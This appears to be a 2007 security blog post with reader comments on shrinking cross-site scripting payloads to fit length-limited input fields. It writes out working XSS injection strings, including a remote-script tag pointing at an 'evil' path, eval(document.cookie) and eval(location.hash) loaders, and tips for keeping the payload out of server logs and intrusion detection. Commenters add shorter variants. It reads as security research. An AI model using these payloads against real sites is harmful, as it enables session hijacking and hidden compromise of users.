Playing in Large

Tue, 06 Feb 2007 14:18:53 GMT

Many times, Web Applications enforce restrictions on the number of characters the user can input. That happens quite often since this is probably the easiest and most obvious way of sanitizing the user input. Overcoming these restrictions, when performing Cross-site scripting attacks, is a challenge, so I am going to discuss a few techniques that I have developed, which prove to be quite useful in various situations.

When you are restricted by the size of input, you have to think about the smallest possible unit that can expand to something that is much bigger. In traditional buffer overflow vulnerabilities attackers take advantage of various packaging techniques. Sometimes, the overflow crack is so small that only 140-160 bites (figuratively speaking) of data can squeeze in. This obstacle is overcome by injecting small piece of binary code that downloads additional, much larger, piece of code (probably an executable). Similar principles apply to Cross-site scripting vulnerabilities. Let's generalize the XSS payload structure in order to find how to squeeze data into a N characters long field.

When dealing with Cross-site scripting vulnerabilities we may need to close or fix the markup to the place where the injection occurs. This adds a few characters, so we need to count them as part of the payload. Think about them as a nop sled. If the injection occurs inside an element attribute, you may need to inject something like the following:

">[payload]<!--

The first two characters will close/fix the markup to the place where the injection occurs. Then the payload follows. After the payload everything else is commented out to ensure that nothing breaks the injected code. This adds four characters at the end.

Most of the time, when more then the maximum characters needs to be inject, attackers go through the extreme situation of including a remote JavaScript file via a SCRIPT tag. For example:

"><script src="http://path/to/evil"></script><!--

This file can be of any size and can contain as much code as we want. However, like overflow vulnerabilities, this technique is fairly restricted in terms of the easily applicable preventing mechanisms against it.

If you imagine that the payload, discussed above, is part of an AJAX worm, the easiest way to fight the malware back is to block access to http://path/to/evil. That of course is not the desired effect attackers try to achieve.

In order to bypass the restriction without using external resources you need to look for a way of transmitting information to the exploited target. This can be achieved by setting the cookie wit CSRF, for example, and evaluating its content inside the browser. The following may become our payload:

"><script>eval(document.cookie)</script><!--

Sneaky! This technique relies on a different vulnerability so it might not be the best way of achieving the desires result.

Fortunately or not, WEB technologies are so flexible that attackers can always find ways to squeeze stuff in the fields they are after. Here is how we can change the payload in order to fit a couple of kilobytes JavaScript code inside 60 characters long field.

"><script>eval(location.hash.substr(1))</script><!--

The payload above is composed of 55 characters in total. This includes the sled and the end fix. What this snippet does is evaluating everything that is part of the hash (fragment identifier), which is part of the URL. The above payload can be translated into the following imaginative attack URL.

http://path/to/vulnerable/application?vuln="><script>eval(location.hash.substr(1))</script><!--#**[payload]**

If you replace "[payload]" with the code your want to execute then in practice you inject 55 characters into the server side application and the rest is obtained by the client. The server side restriction is bypassed. This attack can be refined to produce even smaller injected payload. For example:

http://path/to/vulnerable/application?vuln="><script>eval(location.substr(92))</script><!--#**[payload]**

The example above presents a reduced payload that is composed of 48 characters in total. Keep in mind that we are still able to evaluate everything that is after the hash or in simple words; we evaluate everything from the URL after the 92nd character.

Although we are generally discussing how to fit more stuff into a size restricted, unsanitezed field, the techniques presented above are suitable for all kind of situations. In fact, I believe that they are the desired way of performing Cross-site scripting attacks.

You should know that fragment identifier (the hash) is not part of the server request; as such attackers can use it to hide their malicious activities. Every large URL can trigger the Intrusion Detection system. This is something that attackers try to avoid. If the server activities are less suspicious, the chances of somebody discovering the exploit are also greatly reduced.

For testing and demonstration purposes you can use the following list of variations of the attack technique discussed in this article:

eval(location.substr(92))
setTimeout(location.substr(92))
eval(location.hash.substr(1))
setTimeout(location.hash.substr(1))
eval((''+location).substr(28))
setTimeout((''+location).substr(28))
eval(location.search.substr(20))
setTimeout(location.search.substr(20))
JoeJoe
Hiya, Nice article. May seem like a stupid question but how do you set cookies with CSRF?? I know it can be done with CRLF but didnt know CSRF could do it? Cheers, Joe
pdppdp
Joe, I am using hypothetical scenario for this article. However, setting cookies with CSRF are possible in situations where the application you are targeting reflects the data you are sending as cookies. It is confusing, I know. Here is an example. Let's say that the application ask you for the First and Last name and then stores that information on the server but also on the client (cookie) to eliminate the need for further requests send to the server. The attacker needs to craft a CSRF to set the name for the user and as such setting the cookie to whatever value he/she may need.
JoeJoe
pdp, I see, thanks. I though you were saying you could use CSRF to do a set-cookie: foo (Like CRLF) My bad :) Again, interesting article and food for thought! -Joe
KishorKishor
That was a really nice technique pdp. Therefore I decided to save more bytes for you. You might already know that </script> tag is not required in most of the cases. Hence
<body>
<script src=http://localhost/script3.js > <!–
WAHTEVER
</body>
Will still result in script getting executed. Although it requires that src attribute be present. Overall, this is larger than your vector by 2 bytes (which is not good), but with tinyurl, maybe it gets reduced further. But when src attributes are filtered by url white list, your technique still works and this one fails.
pdppdp
Kishor, thanks for the comment. I was thinking to put this in but then I thought that I will get quickly out of scope describing why this thing works. So I decided to go with the KISS principle. Anyway, good stuff.
GEGE
So this seems to just reinforce the idea that developers must remember not to trust the data coming from the client. From each of the examples, if I validate the input to filter out "
pdppdp
They should by default. This article describes what to do when they don't.
beNibeNi
hey pdp, nice article. this is even smaller (51 characters)
'"><img src=1 onError=eval(location.substr(92)><!--
cheers beNi
pdppdp
neat :)
MustLiveMustLive
Guys, you may use simple (without comment tag): "> It is only 46 characters. When you attacking through iframe you don't need to care about commenting some ending html code. In my practice of social security audits, I dealt with such cases with CSRF. For example I found a hole, where some data from form (from some fields) was save in cookie. And it was appear on site's pages (from cookie). So when you put XSS code to form's fields - to cookie - via CSRF, than you have XSS attacked the visitor of that site. It is persistent XSS ;-). P.S. Nice article, Pdp. I am also using such short XSS sting in my own practice of security audit. Because sometime you need to limit yourself in length of XSS string (because of server restriction). For example, when I need to show site' owner, that his site is vulnerable, and I have limited XSS payload string I use such payloads:
">alert(document.cookie)
41 chars
">alert("XSS")
31 chars
Or such (if quotes is filtered):
">alert(/XSS/)
31 chars
Or the shortest one:
">alert(1)
27 chars
AcidusAcidus
Great article and good discussion all around. Just a couple of things: -You can use setInterval instead of eval or setTimeout. Downsides are it's one character longer and you need to have some code to turn it off when it runs. However, if they are filtering, its good in a pinch -I know this is simpled for example, but remember not focus too much on "><script... attacks. You are attacking a known site, you know which tags the XSS is reflected in. Look for tag attributes that will execute script. It depends, but a simple "onfocus=eval... could do the trick in less space. There are literally thousands of places in the DOM where JavaScript can execute, and only 2 of them are img+onerror and script. Trust me, commerical vendors are doing this :-).
pdppdp
Yes, you can do quite virtually inject JavaScript into everything from the DOM. I provided a simple example so everyone understands the concept. Interesting thoughts all around.
thornmakerthornmaker
#0={}; is a valid javascript statement. This means that you can add 0={}; after the hash which allows your XSS injection to leave of the .substr(1) part, e.g. ">eval(location.hash)